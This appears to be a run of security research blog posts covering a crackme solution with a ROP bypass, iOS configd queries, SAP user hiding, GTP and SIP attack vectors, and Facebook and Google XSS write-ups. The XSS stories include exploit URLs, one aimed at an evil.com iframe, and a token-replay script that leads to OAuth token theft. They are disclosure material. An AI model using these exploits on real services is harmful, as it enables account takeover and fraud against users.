The valid ElGamal signature is not the solution of the first stage, because the name, for which the signature had been generated, contained zero bytes: "|<33p y0ur pr1v473 $3cr37\0\0\0". And such a string cannot be input as a name — zero bytes will be skipped.

Attentive cryptographers should have been immediately noticed that signature check code lacks the check described in the algorithm (0 < r < El_p). For this case, the Handbook of Applied Cryptography (section 11.66.iv) provides an attack, which allows calculating a signature for any message with only one valid signature available. This attack results in a signature for any name considered a program.

As for the second stage, the key was not linked to a username. Base64 decoded the key, then some peculiar operations were carried out over it, and finally they should have received the set of bytes with the substring "PHDays III validator ;)\0". At first, we planned the substring to be found in any location, but because of a code error (developers are human as well), the compliance was checked only at the beginning of the output byte set.

The task was difficult because cryptography elements with open keys were also used, but they were implemented independently and in a disguised format. In fact, the key was exponentiated modulo big (1000 bit) number, which was the result of two prime numbers multiplied by each other. And this is the mathematics, which lies as the basis of the RSA cryptosystem. Exponentiation was implemented via the Montgomery reduction, and the input number should have been converted using the Montgomery algorithm.
The public exponent was 5 and, if the check was correctly implemented, the input secret calculation would have requested 1000-bit number factorization, which is hardly possible. However, due to the fact that only a 24-bit substring was checked, the 5th root of the necessary result could be calculated (not mudulo), then converted according to the Montgomery algorithm, encoded by Base64, and finally the key for the second part could be obtained.

The third part was uncommon from the point of view of usual crackme tasks, which can be solved mathematically. However, everything is in due order. The key check algorithm decoded input data to the buffer of the size sizeof(El_p)*2+1024 according to the Base64 algorithm. If decoded data was larger than sizeof(El_r), such a key was invalid. Then the SHA-3 hash of the decoded data was compared to the string "ESETESETESETESETESETESETESETESET". Even the task author did not know the right input value, which should have been motivated the participants to find an alternative solution.

An attentive reader has already noticed that the vulnerability of the first part allows selecting El_r of such a length that it will be possible to overflow the buffer, in which the decoded data was copied. And this buffer is located on the stack. The stack was not secured and the load base was fixed, it allowed using the ROP technique to exploit the vulnerability and bypass the task check function.

The task solution check looked as follows: it checked 3 bits (each bit per each task part) in the global variable and, if all the bits were submitted, it displayed a congratulation message. It means that to solve the task one only needed to find ROP gadgets, which allowed writing 7 at the global variable address and ending the check function of the third part. The congratulation message was displayed after it.

According to the contest results, the victory stand looks as follows:

1st place
Victor Alyushin 

2nd place
Mikhail Voronov, Denis Litvinov

3rd place
Anton Cherepanov 

Congratulations!

Non-Standard Way to Get Inaccessible Data from iOS

$
0
0
In the wake of my speech at Positive Hack Days, I would like to share information I got exploring a daemon configd on iOS 6 MACH. As you know, iOS gives little information about Wi-Fi connection status. Basically, Public API allows getting SSID, BSSID, adapter network settings and that's all. And what about encryption mode? Signal power? You can look under the cut for more information on how to get such data without Private API and jailbreaking.

Now I must apologize for posting so many source codes. To begin with, let us recall how it was earlier, in iOS 5.*. Then you could use Apple System Log facility to get the system messages that are displayed when connecting to a network. The encryption mode and signal power data appeared in the messages. And you could get them this way:
aslmsg asl, message;
        aslresponse searchResult;int i;constchar*key,*val;
        NSMutableArray *result_dicts =[NSMutableArray array];
        asl = asl_new(ASL_TYPE_QUERY);if(!asl){
            DDLogCError(@"Failed creating ASL query");}
        asl_set_query(asl,"Sender","kernel", ASL_QUERY_OP_EQUAL);
        asl_set_query(asl,"Message","AppleBCMWLAN Joined BSS:", ASL_QUERY_OP_PREFIX|ASL_QUERY_OP_EQUAL);
        searchResult = asl_search(NULL, asl);while(NULL!=(message = aslresponse_next(searchResult))){
            NSMutableDictionary *tmpDict =[NSMutableDictionary dictionary];for(i =0;(NULL!=(key = asl_key(message, i))); i++){
                NSString *keyString =[NSString stringWithUTF8String:(char*)key];
                val = asl_get(message, key);
                NSString *string =[NSString stringWithUTF8String:val];[tmpDict setObject:string forKey:keyString];}[result_dicts addObject:tmpDict];}
        aslresponse_free(searchResult);
        asl_free(asl);
But, as Apple usually does, the company closed the access to the system messages in ASL once it knew about them. So we had to find a new way to get these data. The question was stated differently: how can you get these data in Mac OS and iOS?

First of all, you can use scutil, which allows getting the system configuration data including the information we need. Testing jailbroken iPhone on iOS 6 proved that the tool works quite well. For me it was a clue, and I started to look for a way to reach SystemConfiguration on iOS.

It was as simple as pie: SystemConfiguration.framework. It allows connecting to Mac OS value storage and get a property list, which includes wireless networks data.

However, when you look at the header files of the library, you get upset: using the required method is restricted.
CFPropertyListRef
SCDynamicStoreCopyValue   (
                    SCDynamicStoreRef  store,
                    CFStringRef   key)    __OSX_AVAILABLE_STARTING(__MAC_10_1,__IPHONE_NA);
First, make sure that the method is functional.

void*handle = dlopen("/System/Library/Frameworks/SystemConfiguration.framework/SystemConfiguration", RTLD_LAZY);
    CFArrayRef (*_SCDynamicStoreCopyKeyList)(int store, CFStringRef pattern)= dlsym(handle,"SCDynamicStoreCopyKeyList");
    NSLog(@"Lib handle: %u", handle);

    
  
    NSString *key =@"State:/Network/Global/DNS";
    CFArrayRef testarrray =  _SCDynamicStoreCopyKeyList(0, CFSTR("State:/Network/Interface/en0/AirPort"));
    NSLog(@"Tested array res: %@", testarrray);
Everything's fine. The result returns. So there's no blocks, only formal Apple's restrictions, which won't allow passing validation in App Store. Anyways, why don't we write a piece of the library by our own.

The source code was easy to be found: it was a part of the daemon configd. The most interesting stuff begins when reading description of SCDynamicStoreCopyValue.
#include "config.h"/* MiG generated file */.../* send the key & fetch the associated data from the server */
    status = configget(storePrivate->server,
               myKeyRef,
               myKeyLen,&xmlDataRef,(int*)&xmlDataLen,&newInstance,(int*)&sc_status);
OK. A request is passed to the file generated using MACH Interface Generator. We have description in MIG in the file located nearby.
routine configget ( server  : mach_port_t;
                key  : xmlData;
             out data  : xmlDataOut, dealloc;
             out newInstance :int;
             out status  :int);
Now you have two options — the way of a common person and the way of the Jedi. You can run mig on the file config.defs and get the codes to be entered into the project. But unfortunately we did not discover the file during the research so we had to do some reverse engineering :) However, Dmitry Sklyarov did show his jedi skills and managed to restore the process of sending the request to the MACH port, configd. So the method was completely restored.
#define kMachPortConfigd "com.apple.SystemConfiguration.configd"-(NSDictionary *)getSCdata:(NSString *)key{if(SYSTEM_VERSION_LESS_THAN(@"6.0")){// It does not work on iOS 5.*return nil;}struct send_body {mach_msg_header_t header;int count; UInt8 *addr; CFIndex size0;int flags; NDR_record_t ndr; CFIndex size;int retB;int rcB;int f24;int f28;};

    mach_port_t bootstrapport = MACH_PORT_NULL;
    mach_port_t configport = MACH_PORT_NULL;
    mach_msg_header_t *msg;
    mach_msg_return_t msg_return;struct send_body send_msg;// Make request
    CFDataRef  extRepr;
    extRepr = CFStringCreateExternalRepresentation(NULL,(__bridge CFStringRef)(key), kCFStringEncodingUTF8,0);// Connect to Mach MIG port of configd
    task_get_bootstrap_port(mach_task_self(),&bootstrapport);
    bootstrap_look_up2(bootstrapport, kMachPortConfigd,&configport,0,8LL);// Make request
    send_msg.count =1;
    send_msg.addr =(UInt8*)CFDataGetBytePtr(extRepr);
    send_msg.size0 = CFDataGetLength(extRepr);
    send_msg.size = CFDataGetLength(extRepr);
    send_msg.flags =0x1000100u;
    send_msg.ndr = NDR_record;// Make message header
    msg =&(send_msg.header);
    msg->msgh_bits =0x80001513u;
    msg->msgh_remote_port = configport;
    msg->msgh_local_port = mig_get_reply_port();
    msg->msgh_id =20010;// Request server
    msg_return = mach_msg(msg,3,0x34u,0x44u, msg->msgh_local_port,0,0);if(msg_return){if(msg_return -0x10000002u>=2&& msg_return !=0x10000010){
            mig_dealloc_reply_port(msg->msgh_local_port);}else{
            mig_put_reply_port(msg->msgh_local_port);}}elseif( msg->msgh_id !=71&& msg->msgh_id ==20110&& msg->msgh_bits <=-1){if((send_msg.flags &0xFF000000)==0x1000000){
            CFDataRef deserializedData = CFDataCreateWithBytesNoCopy(kCFAllocatorDefault, send_msg.addr,send_msg.size0, kCFAllocatorNull);
            CFPropertyListRef proplist = CFPropertyListCreateWithData(kCFAllocatorDefault, deserializedData, kCFPropertyListImmutable,NULL,NULL);
            mig_dealloc_reply_port(msg->msgh_local_port);
            mach_port_deallocate(mach_task_self(), bootstrapport);
            mach_port_deallocate(mach_task_self(), configport);
            mach_msg_destroy(msg);
            NSDictionary *property_list =(__bridge NSDictionary*)proplist;if(proplist)
                CFRelease(proplist);
            CFRelease(deserializedData);
            CFRelease(extRepr);return property_list;}}
    mig_dealloc_reply_port(msg->msgh_local_port);
    mach_port_deallocate(mach_task_self(), bootstrapport);
    mach_port_deallocate(mach_task_self(), configport);
    mach_msg_destroy(msg);
    CFRelease(extRepr);return nil;}
The data we needed were located in the key @«Setup:/Network/Interface/en0/AirPort».

So we have implemented the part SystemConfiguration.framework on our own and got the data without jailbreaking and illegal use of libraries. The interesting thing is that there are more than 100 open MACH ports with various names in iOS 6. I guess it sets the stage for researches. Unfortunately, for the time being I cannot say, whether such code can be used in App Store, but it is worth trying anyway.

Thanks for your attention.

Links:




Author: Kirill Ermakov [Twitter], Positive Research.

Can You Trust What Your Eyes See?

$
0
0
The team at Positive Research, the research division of Positive Technologies, has recently discovered a large number of alarming vulnerabilities in digital video recorder (DVR) software used with closed-circuit TV systems. By exploiting these weaknesses, an intruder can remotely take control of an entire system; giving them the ability to watch, substitute or delete recorded video, illegally access a company network, broadcast spam or carry out a host of other malicious activities.

Among several vulnerabilities found in DVR software were a default root password which could not be personalized and open service ports. Moreover, our research experts managed to uncover an alleged master password, which was valid for all system accounts – giving its user maximum privileges. This global secret was valid for all DVRs tested and could not be changed by even an administrator.

Globally, dozens of brands are at risk to the threats that we’ve uncovered in our latest research. This wide-spread problem has been proliferated by the fact that DVR vendors often use existing flawed DVR software, without modification, with their systems. Based on the analysis performed by our team of experts, at Positive Research, we’ve concluded that the vulnerabilities highlighted are present in 90% of all DVRs that are used by small and medium-sized businesses, for recording surveillance video. .

For more information about these risks and other vulnerabilities please contact Positive Research at research@ptsecurity.ru.

SAP's Backdoor

$
0
0
SAP security research is one of my basic duties in Positive Technologies. Moreover, I had to think of what I would speak about to the participants of our PHDays III forum. Thus, I came to the following subject of research: how to hide a user with the SAP_ALL profile (i.e. all possible authorizations) in the system. If a malicious user manages to log in to the system and get the authorization to create users and assign privileges to them, then his next most probable step is to create a new account for himself, of course with all authorizations in the system. However, this user is listed in the results of internal checks and external audits, and there is zero chance that a user with SAP_ALL authorizations will not arouse any interest.

So, let's start. I considered two vectors of my research:

  1. To cheat reports checking user authorizations, that can be done using nested profiles, reference users, roles, profile copies, etc. 
  2. If you ask a SAP specialist how to list users having some particular authorizations, he will advise to use transaction SUIM, Report RSUSR002, which are almost the same. Therefore, we have the following idea: based on analysis of ABAP code of Report RSUSR002 you should create a mechanism to bypass the report algorithm and hide the user.
The first vector is covered in my presentation; the second one will be discussed below.

So, let's have a look at the logics of the report. It is simple: you take the list of all user accounts and check each user for the given authorizations. If a user does not comply with the search criteria he is deleted from the list. It seems very simple but... the following line attracted our attention in the course of analysis:


A user with mysterious name '............' (12 dots) is removed from the list. Let's check our assumption in practice. We will create a user with the name consisting of 12 dots, assign him different roles and profiles, and then check the report results. As we expected, there is no such username in the report results!

It is interesting, why this was implemented by the SAP vendor. Actually, I cannot answer this question. May be this user was created during generation of EARLYWATCH reports and served some particular purpose in the system?..

The following CVSS vector was formed for the vulnerability:

CVSS Base Score: 4.6
CVSS Base Vector: AV:N/AC:H/AU:S/C:P/I:P/A:P

As you can see, the severity level is not high, but it is distressing to know that the vendor of the system, where you store and process all your critical business data, has left such a back door which helps to conceal some specially crafted users. What was in fact the purpose of that?

Actually, the situation is not so bad. The patch fixing this vulnerability was released in June 2013: see SAP Note 1844202. To fix the bug you have to download the patch and implement it in your system.

As you can see from the table below, the correction was released for all existing SAP_BASIS components starting from Release 46B. In other words, if you have not updated your system yet, then this vulnerability will be for sure in your system.

That's in fact all I wanted to tell. I recommend you to implement the Note which was initiated by your humble servant :)

SAP Security note 1844202: https://service.sap.com/sap/support/notes/1844202

P. S. Slides from PHDays:



Author: Dmitry Gutsko, Positive Research.

Inside Mobile Internet Security

$
0
0
Introduction
The mobile Internet has truly gone global. An estimated 6.8 billion mobile subscriptions were reported globally at the end of 2012 [1]. That’s the equivalent of 96 percent of the world’s population being connected via a mobile device. And it represents a huge increase on the 6.0 billion subscribers reported just 12 months prior [2].

As cellular networks grow, so do the number and frequency of mobile internet connections; posing a new set of challenges for the IT Security community. While many of us are familiar with the architecture of the regular Internet – twisted pairs, Ethernet, TCP/IP – the architecture behind the mobile Internet is less widely understood, leaving users vulnerable to the actions of hackers with only a slightly better level of knowledge.

In this post, Positive Research, the research division of Positive Technologies, will demystify the mobile internet by explaining its general principles, take a deeper look at the General Packet Radio Service (GPRS) Tunneling Protocol, discuss the GPRS Roaming Exchange (GRX) Network and demonstrate some practical issues that arise when attempting to secure a mobile network.

Getting Connected
Let’s start by considering the standard method used to connect devices to the mobile internet. Typically, you need only three parameters to make a connection: an Access Point Name (APN), a login and a password. An APN is a value used by the device to connect to a particular mobile service. A device will have a separate APN for each service such as Wireless Application Protocol (WAP), Multimedia Messaging Service (MMS) or the mobile Internet. . Typically the APN for mobile Internet services will take the format of internet..com. The login and password are often simple, something like: internet-internet.

Once you have the required parameters, connecting to the mobile packet network is a two-stage process:

  1. GPRS Attach
  2. Packet Data Protocol (PDP) Context Activation

GPRS Attach
In the course of the GPRS Attach procedure the phone initiates communication with the operator's packet network. The following elements are then used to authenticate and authorize the user's mobile device:

  • International Mobile Subscriber Identity (IMSI) to identify the user
  • Keys stored on the SIM card to authenticate the user
  • Subscription data to check availability of services (Internet, MMS, WAP) for that user

Additionally, to prevent fraud, a device’s International Mobile Equipment Identity (IMEI) may be checked against a list of stolen devices. If an IMEI matches that of a stolen device then it may be blocked from accessing the network or even reported to authorities.

PDP Context Activation
After successfully negotiating the GPRS Attach procedure, the PDP Context Activation begins. To better understand this procedure, it helps to first clarify the relevant terms:

  • A Serving GPRS Support Node (SGSN) is responsible for authentication and general packet data handling in the mobile network
  • A Gateway GPRS Support Node (GGSN) is responsible for data transfer between the operator's network and external networks (e.g. Internet). It may be a common router with some specific functionality
  • GPRS Tunneling Protocol (GTP) is a stack of protocols used in GPRS, Universal Mobile Telecommunications System (UMTS) and Long Term Evolution (LTE) – an industry standard for wireless communication of high-speed data networks.

The following diagram is a highly simplified representation of the PDP Context Activation process. Further explanation of each step is provided below.

Figure 1 – PDP Context Activation

PDP Context Activation explained:

  1. The phone sends the SGSN an Activate PDP Context request, which (amongst other information) contains the login, password, and APN.
  2. After receiving the APN, the SGSN tries to resolve it on the internal DNS server. The server resolves the received APN and provides a corresponding GGSN address.
  3. The SGSN sends the Create PDP Context request to this GGSN address.
  4. The GGSN authenticates the submitted login and password on the RADIUS server.
  5. The GGSN requests and obtains an IP address for the mobile phone.
  6. The GGSN transmits all data required for PDP context activation back to the SGSN.
  7. The SGSN accomplishes the activation procedure by sending back to the phone all the data required for establishing a connection.

In essence, the PDP Context Activation procedure is the creation of a tunnel between a cell phone and a gateway (GGSN) on the operator’s mobile network. Through this tunnel a user can browse their favorite web sites and check email.

Roaming
The next question that inevitably arises is: How does all this work in a roaming scenario – when a user is away from their home network? There is a special network, the GPRS Roaming Exchange (GRX) which provides packet data exchange for mobile operators worldwide. Something like this:
Figure 2 – Internet connection on another operator’s network

  1. While away from their home country (or using another operator’s network within their own country), a user decides to download a favorite TV show. The user switches on their cell phone and tries to connect to the Internet (sending the login, password and APN).
  2. The overseas SGSN tries to resolve the APN on its own DNS server.
  3. If the DNS server finds no corresponding record, it refers to the root DNS server in the GRX network.
  4. The root DNS server sends a request to the DNS server of the user’s native mobile network operator.
  5. The DNS server responds by providing the address of the user’s GGSN.
  6. The root DNS server forwards this address to the DNS server of the overseas operator.
  7. The overseas operator forwards the address to the overseas SGSN.
  8. The SGSN, knowing the address of GGSN, sends the PDP Context Activation request to it.
  9. If all requirements are satisfied (i.e. the user’s balance is positive, the login and password are verified, etc.), the GGSN sends a response to SGSN which accepts it and forwards to the cell phone confirmation of Internet access.

At this point, the packets of the TV show pass from the home operator to the overseas one. The transfer is done via a special network wrapped into the GTP protocol. All negotiations between the dedicated hardware systems of the two operators are performed via the same GTP.

Lab-based SGSN and GGSN

While a description of the mobile Internet connection process such as the one provided above is informative, Positive Research believes practical investigation is the best way to fully understand the security implications of any system. It was with this hands-on approach in mind that we embarked on a laboratory simulation of the entire mobile Internet ecosystem, configuring our own SGSN and GGSN. In this way we were able to thoroughly investigate the user authentication process and the way data is transferred between the operator and the user’s mobile device. This simulated environment allowed us to test and practically demonstrate the ways in which a hacker might target the various elements within the mobile Internet ecosystem to disrupt or interrupt data traffic.


Figure 3 – The planning process for our lab-based SGSN and GGSN

First, we used a form of Linux script to emulate SGSN functions including GPRS Attach and PDP Context Activation and to provide an interface ready for accessing the Internet - just as if a 3G modem had been connected. To provide the required GGSN functions we used an off-the-shelf Cisco 7200 Series Router.

Once the test equipment was configured, our experts from Positive Research were able to successfully establish simulated communications between the SGSN and GGSN and they were even able to tunnel out to a live mobile internet connection, as illustrated in the following diagram:

Figure 4 – Mobile Internet connection via lab-based SGSN and GGSN

Upon examination of the packets being transferred between our test SGSN and GGSN we found they looked the same as those passed between real-world mobile operator networks. Similar packets may also be transferred across GRX networks, where a malicious hacker can sniff them, as shown in figure 5 below. Now that we could monitor traffic flow, our specialists at Positive Research set out to demonstrate what a hacker might be able to glean from these packets.

Figure 5 – GRX networks provide potential entry point for hackers


Security Implications of GTP

There are several types of GPRS Tunneling Protocol (GTP):

  • GTP-U used for packaging and carrying user data
  • GTP-C used for session management (i.e. for executing PDP Context Activation and other service procedures)
  • GTP' (GTP Prime) used for carrying billing data

GTP does not support peer authentication and encryption, it operates on top of the UDP data transfer protocol. Its mode of operation has important security implications.

The screen shot in Figure 6 below depicts GTP-U and user data tunneling. Tunnels are identified by their Tunnel Endpoint ID (TEID).


Figure 6 – Screen Shot of depicts GTP-U and user data tunneling

Our researchers demonstrated that the TEID field can be spoofed, allowing a malicious hacker to break into a user’s session by sending a packet with a fake tunnel ID.

In the case of GTP-C we also found there is no authentication, nor any sign of encryption of the transmitted data. This means a hacker could not only sniff the data that is being legitimately sent but could also inject data of their own. For example, they could send a fraudulent request to connect or terminate a session.

Possible Attack Vectors - Theory
Based on the results experienced in the lab, Positive Research has defined the following likely attack vectors.

1. DNS Flood Attack

In a DNS Flood Attack, the attacker sends a large number of requests for resolving the operator's APN. All these packets will flood or overload the operator's DNS servers, which will eventually give up and refuse to provide the GGSN address. This will result in a denial of service (DoS) for all of the operator’s mobile users.
Figure 7 – A DNS Flood Attack

2. GTP Flood Attack

In a GTP Flood Attack, the hacker may send a large number of bogus Create PDP Context requests. Under this avalanche of requests, the GGSN may freeze or even hang resulting in yet another form of denial of service for all of the operator’s mobile users.
Figure 8 – A GTP Flood Attack

3. PDP Context Delete

What would happen if the hacker sent a malicious request to terminate a session and not to establish one? Figure 9 below illustrates how a hacker could request to terminate a session using the address of a foreign SGSN. The GGSN decides that a user has finished downloading his TV show and wants to terminate the Internet session. It then deletes the tunnel and terminates the connection. This results in another form of Denial of Service because the user is unable to continue browsing the mobile Internet.

Figure 9 – PDP Context Delete

Real-World GGSN Security Weaknesses Revealed

As we have shown above, mobile operators must provide adequate security measures to protect their GGSNs from hackers if they are to prevent a variety of attacks that will result in denial of service.

However, Positive Research was able to demonstrate that many operators are failing in this regard. Using the basic steps outlined below, our team of mobile experts were able to find listings for many GGSNs on the open Internet; demonstrating that they were not adequately firewalled.

Using the computer search engine SHODAN, our researchers searched for GGSN, obtaining the following results:

Figure 10 – SHODAN search results

Our tests confirmed that these are, in fact, real mobile operators’ GGSNs accessible from the Internet. In keeping with our commitment to ethical hacking, we did not conduct any tests that could have caused harm to any of these systems.

As an alternative approach in our search for real-world GGSNs, we wrote a script sending GTP-echo requests to the Internet and waited for a response. Some responses were received:


And some of those were enabled with Telnet:


The speed with which we were able to access these GGSNs demonstrates that the companies operating them are highly vulnerable to attack and should take added precautions to protect the integrity of their infrastructure...

Conclusion
It is worth noting that a new generation standard with the LTE code name still uses GTP, which is why this particular attack vector is applicable not only today but for the foreseeable future.

This paper has set out the basics of mobile Internet security and has demonstrated how simple it is for a hacker to access private data or cause disruption to the activities of mobile operators. Naturally, the attack vectors demonstrated in this research are of crucial importance to mobile operators who must take steps to protect themselves from the kind of DoS attacks we have illustrated here. The implications for data protection are also clear for all users of the mobile Internet, but in particular to companies who allow their staff to manage sensitive corporate information via mobile devices.

Sources:
1.“ICT Facts and Figures 2013” published by The International Telecommunication Union - http://www.itu.int/en/ITU-D/Statistics/Documents/facts/ICTFactsFigures2013.pdf
2.For more statistics on mobile internet usage see http://mobithinking.com/mobile-marketing-tools/latest-mobile-stats/a#subscribers

Glossary of Terms

APN – Access point Name
DNS – Domain Name System
GGSN – Gateway GPRS Support Node
GPRS – General Packet Radio Service
GTP – GPRS Tunneling Protocol
GTP-U – Protocol for packaging and carrying User Data
GTP-C – Protocol for session management
GTP’ – GTP Prime – Protocol for carrying billing Data
GRX – GPRS Roaming Exchange
IMEI – International Mobile Equipment Identity
IMSI – International Mobile Subscriber Identity
LTE – Long Term Evolution
MMS – Multimedia Messaging Service
PDP – Packet Data Protocol
RADIUS Server - Remote Access Dial In User Service
SGSN – Serving GPRS Support Node
TEID – Tunnel Endpoint ID
UDP – User Datagram Protocol
UMTS – Universal Mobile Telecommunications System
WAP - Wireless Application Protocol

Author: Ilya Safronov, Positive Research.

A Story about XSS on Facebook

$
0
0
One day, browsing Facebook I discovered an interesting tool – Graph API Explorer. It's a tool designed to work with Facebook Graph API. It allows reading or posting data on Facebook, testing permissions, etc. So what can it actually do?



Make JSONP request to graph.facebook.com with some callback to include this JSON data in the page. Of course, at first I tried to include callback parameter in the request, but the result was unsuccessful. After lots of tries to inject something, I found an interesting script that exists on almost every Facebook domain. It's login.php which allows redirection to any *.facebook.com page. First, I tried to make redirection to http://graph.facebook.com/me?callback=alert, and it worked! I got alert with the [Object object] text. Great!

https://developers.facebook.com/tools/explorer?method=GET&path=login.php?next%3dhttps%253a//graph.facebook.com/me%253fcallback%253dalert 

But of course, it couldn’t stop unless I would be able to run arbitrary code. I just needed to find any place on *.facebook.com where I could store my malicious code. My first try was to send file to another user via Facebook messages. All I did was just sending an  evil.txt file with malicious code, and changing its content-type to text/javascript. After that, this file was available via the following link:

https://www.facebook.com/ajax/messaging/attachment.php?attach_id=&mid=&hash= 

The file becomes available only for the receiver of the message, but we can make a specially crafted .gif file containing Javascript code (thanks to @isciurus), send it to the victim, get the link to the malicious file and leverage that link to exploit the vulnerability. The victim will get the image, click on it, and because of "Content-Disposition" header it will be saved to the victim’s computer and will behave like a normal .gif image. So, nothing suspicious. Anyway, I bet, there are lots of places on *.facebook.com where we can store our payload.

Ok, let’s try to execute our code. A try ... resulting in a failure. There is the "content-security-policy" header, which disallows running this code. It seems like I should find another place to store my code.... But wait! Internet Explorer ignores this header because it requires "x-content-security-policy header". So, I checked it in IE 10 and it worked out great.

https://developers.facebook.com/tools/explorer?method=GET&path=login.php?next%3dhttps://www.facebook.com/ajax/messaging/attachment.php%253fattach_id%253d%2526mid%253d%2526hash%253d



I conducted XSS, got a reward, lots of fun and, in addition, made a cool screenshot ;)



Here is the video of the exploitation:



Author: Pavel Toporkov, Positive Research.

True Tales About Vulnerabilities in Google Services

$
0
0
Story 1. The Little Content Type that Could

The vulnerability was found in Feedburner. First, I created a feed and tried to inject malicious data. No success there. Injected data just wouldn’t show up, only harmless links were presented. I took a few more attempts and then I found lots of messages from PodMedic. PodMedic examines links in every feed. If it finds troubles in creating a feed, it reports the cause of such troubles. The messages read that links are incorrect because the content type returned was a text type.


Hmm. Ok. I bet the content type on this page isn't filtered. A simple script for my server:

; charset=UTF-8'); ?>

And here it is:




Story 2. The Little Callback that Could

The Feedburner vulnerability was not satisfying. It was quite simple, actually. So I decided to try something else. After some searching, APIs Explorer on developers.google.com caught my attention. Google’s APIs Explorer is a tool that helps you to explore various Google APIs interactively. Google also says that with the APIs Explorer, you can browse quickly through available APIs and versions, see methods available for each API and what parameters they support along with inline documentation, etc. In fact I was interested in cross-domain messaging based on postMessage. A link to the Google API that we are testing can be given in the Base parameter:

https://developers.google.com/apis-explorer/?base=https://webapis-discovery.appspot.com/_ah/api#p/

The Base parameter is filtered by certain regular expressions (not quite accurately though) but it is easy to bypass them using a %23 symbol:

https://developers.google.com/apis-explorer/?base=https://evil.com%23webapis-discovery.appspot.com/_ah/api#p/admin/reports_v1/

As a result, an iframe with src=evil.com is created and now we’re waiting for messages from it. Every message should have two tokens. The first token is in window.name of the iframe and the second is given in location.hash. I sniffed messages from https://webapis-discovery.appspot.com/_ah/api and wrote a page that would send the same messages with valid tokens. It worked nicely, and I tried to inject some HTML data. No success, though. I could change text and image locations but it would not be enough for XSS. There was a documentation link, the location of which could be changed. So I changed it to javascript:alert(document.domain) and it worked perfect.


Still not enough. It required user interaction, but I really don't like it. Users never do what you want them to do (click that wrong link, for instance). So I found a page on developers.google.com with the callback function (almost all developers think that callbacks are secure). I added redirection to this page with the callback ‘parent.document.links[0].click’ to my exploit after creating the documentation link via postMessage. Symbols [ and ] were filtered, so actually the callback was as follows:

document.body.lastElementChild.previousSibling.lastElementChild.firstElementChild.firstElementChild.lastElementChild.firstElementChild.firstElementChild.firstElementChild.nextSibling).

Let’s try it:

Done! Works fine and no need for user interaction. The exploit was as follows:

token_1 = location.hash.split('rpctoken=')[1];
token_2 = window.name;
send_payload(data,token_1,token_2);
window.setTimeout('document.location=callback_url;',3000); // Paused because of slow internet connection…

And of course I made a cool screenshot ;)



I liked that method of exploiting and tried to use it in other services. I used it to steal an OAuth token to be able to buy any app at Google Play using users’ payment details. Besides, the app could automatically be installed on user’s android device.

The Google Security Team also liked that technique and they described it on OWASP AppSec Eu as Reverse Clickjacking.

Author: Pavel Toporkov, Positive Research

A Sketch of SIP Security

$
0
0
The Internet is a great tool for communication. You can contact other people using e-mail, online chats, voice and video messengers. With the arrival of new cable systems and Balloon-Powered Internet, soon even the penguins of Antarctica will have access to the Internet!

But what about voice? Since there's such wide Internet coverage, why do we need telephone lines?  We could send voice over Internet channels and SIP (Session Initiation Protocol) addresses this need. SIP has a very interesting story but first we want to highlight certain aspects of the protocol.
SIP is the most commonly used protocol for Voice over Internet Protocol (VoIP) services. SIP is a protocol for initiating a session for further data transfer. It transfers information such as login, domain and password in clear text (in open or hash form). Sometimes the authentication process is not supported (connection is established as a combination IP:port).

Next we will examine several threats that can occur while using SIP and methods to exploit them.

Threats
Let's examine several threats that can occur while using SIP and methods used to exploit them. There are nasty things we can do to study SIP security. Note that to perform certain attacks an intruder must be in the traffic path from the client to the server (or perform an MITM attack).

Accounting data stealing
As the SIP protocol transfers data in clear text, anyone who is able to tap the traffic sent actually can obtain various bits of information. Let's take the authentication process, for instance. A SIP password is MD5 hashed, even though it is strongly recommended not to use  this algorithm in any capacity. Such a password can be brute-forced through SIPcrack, for example:


An intruder can use obtained account data in various schemes. He or she can get access to all services that a subscriber of Triple Play  uses. Speaking of higher risks, a SIP account can be used in PRS fraud for making calls to some expensive destinations (the subscriber is billed for somebody else's calls, which may be very expensive).

Details on brute-forcing a SIP password can be found here: http://www.sipsorcery.com/mainsite/Help/SIPPasswordSecurity

Tapping
SIP does not carry any voice stream itself. For payload transmission (audio stream, for instance) the Real-Time Transport Protocol (RTP) is used. RTP is quite friendly and does not encode transmitted data. And here the question arises—whether someone who is in the middle tapping our traffic is able to tap our conversation as well. Well, yes, actually it is possible. Cain is a popular tool that will kindly help perform an MITM attack. By using it, one can listen to tapped conversation. An intruder can easily use information obtained this way to blackmail a victim.


Call tracking
If an intruder is able to sniff packets transmitted from the user, he or she then can find out when and whom the victim called, because SIP does not encode transmitted data. This information can later be used in social engineering attacks.

Attacks behind NAT
If the user doesn't have an external IP, an intruder that has the same address can make calls at the expense of him/her. This may occur if the Internet provider gives access to the network through NAT, behind which there can be lots of other people as well. It is common for business centers where many small companies use NAT of a local provider.


As you can see at the picture, the packet received by the provider contains the sender’s IP address before the NAT translation. However, this field is not verified while establishing a connection (only the public address is verified), so the packet may contain an IP address other than that of the genuine subscriber.

Impersonating a provider
What about VoIP security on the provider side? By running an MITM attack against a DNS server or by DNS cash poisoning (the Kaminsky attack, for example), an intruder is able to impersonate a provider and transfer all calls through his or her own system.

Calls redirected
After implementing an MITM attack, an attacker can redirect clients’ calls to another number, including non-existent numbers, which results in DoS.


By capturing INVITE packets, an intruder responds with a packet with a 301 Moved Permanently code and thus redirects the call.

Disconnection
If an intruder has the values of Caller ID and From/To tags (or can try possible combinations of the fields), he or she is able to disconnect active sessions by sending prebuilt malicious packets with a SIP BYE-request (using Scapy,, for instance).


Fake calls
SIP usually uses the UDP protocol, which allows spoofing. An intruder may generate lots of requests for calling a subscriber, which leads to denial of service of a telephone exchange and paralyzes a telephony system.


Conclusion on SIP security
Though protection methods against most of the attacks mentioned here were developed long ago, both clients and VoIP providers completely ignore safety precautions and SIP security options. So you need to watch your back because your SIP provider isn’t watching it for you.

Author: Ilya Safronov, Positive Research 

Unusual 3G/4G Security: Access to a Backhaul Network

$
0
0
A backhaul network is used to connect base stations (known as NodeB in 3G terminology) to a radio network controller (RNC).

Connection costs for base stations comprise a significant part of provider's total expenses, so it is reasonable to reduce costs related to building and running of such networks, in particular by implementing new technologies.

Evolution made the trip from ATM connections to SDH/SONET, DSL, IP/MPLS and metro Ethernet. Today traffic is communicated through IP packets.

When a large metro network is given, we just can't use it for base stations connection only. So then it provides channels to legal entities and in some areas it provides home users with Internet access. A converged network as it is. And security is a pressing issue when it comes to converged networks.


Voice and GPRS packet data are transmitted in an encrypted form over the network section between a NodeB and an RNC. But what about management traffic? What protocols are used to manage the NodeB directly? Due to the choice of a provider, it may be HTTP/HTTPS, Telnet/SSH, as well as different types of MML (a man-machine language).

Unfortunately, protocols that do not encrypt data are often used to manage network elements.


